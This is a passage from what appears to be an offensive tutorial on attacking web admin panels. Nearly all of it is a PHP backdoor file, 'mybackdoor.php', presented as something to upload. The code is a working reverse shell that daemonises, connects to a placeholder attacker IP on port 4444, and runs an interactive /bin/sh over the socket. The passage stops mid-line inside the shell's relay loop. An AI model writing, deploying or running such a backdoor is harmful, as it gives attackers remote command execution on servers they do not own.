How To Attack Admin Panels Successfully Part 2

mybackdoor.php

<?php
    $ip = 'ATTACKER_IP_ADDRESS';
    $port = '4444';
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';
    $daemon = 0;
    $debug = 0;
    set_time_limit (0);
    ob_implicit_flush();
    $use_ssl = 0;
    $ssl_crt = null;
    $ssl_key = null;
    function printit ($string)
    {
    if (!$daemon)
    {
    print "$string\n";
    }
    }
    if (function_exists('pcntl_fork'))
    {
    $pid = pcntl_fork();
    if ($pid == -1)
    {
    printit('error: could not fork');
    exit(1);
    }
    if ($pid)
    {
    exit(0);
    }
    if (posix_setsid() == -1)
    {
    printit('error: could not setsid');
    exit(1);
    }
    $daemon = 1;
    }
    else
    {
    printit('warning: pcntl_fork is not available, continuing in daemon mode');
    }
    chdir('/');
    umask(0);
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock)
    {
    printit('error: could not connect to attacker');
    exit(1);
    }
    $descriptorspec = array(
    0 => array('pipe', 'r'),
    1 => array('pipe', 'w'),
    2 => array('pipe', 'w')
    );
    $process = proc_open($shell, $descriptorspec, $pipes);
    if (!is_resource($process))
    {
    printit('error: could not execute shell');
    exit(1);
    }
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);
    while (1)
    {
    if (feof($sock))
    {
    printit('error: connection terminated');
    break;
    }
    if (feof($pipes[1]))
    {
    printit('error: shell terminated');
    break;
    }
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets =